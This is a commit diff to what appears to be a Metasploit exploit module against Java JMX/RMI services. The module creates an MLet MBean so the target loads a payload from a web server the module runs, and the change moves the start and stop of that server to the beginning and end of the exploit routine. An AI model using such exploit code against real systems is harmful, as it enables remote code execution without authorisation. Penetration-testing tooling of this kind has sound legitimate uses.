Webserver starts at the beginning, stops at the end

bug/bundler_fix
Hans-Martin Münch (h0ng10) 2015-09-12 19:42:31 +02:00
parent ad0140e0fc
commit 0c4604734e
1 changed files with 5 additions and 6 deletions

View File

@ -120,6 +120,9 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def exploit def exploit
vprint_status("Starting service...")
start_service
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
connect connect
@ -165,6 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote
method: 'run' method: 'run'
) )
disconnect disconnect
vprint_status("Stopping service...")
stop_service
end end
def is_rmi? def is_rmi?
@ -242,9 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def load_payload_from_url(conn_stub) def load_payload_from_url(conn_stub)
vprint_status("Starting service...")
start_service
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
begin begin
@ -308,9 +310,6 @@ class Metasploit3 < Msf::Exploit::Remote
rescue ::Rex::Proto::Rmi::Exception => e rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}") vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
return false return false
ensure
vprint_status("Stopping service...")
stop_service
end end
if res.nil? if res.nil?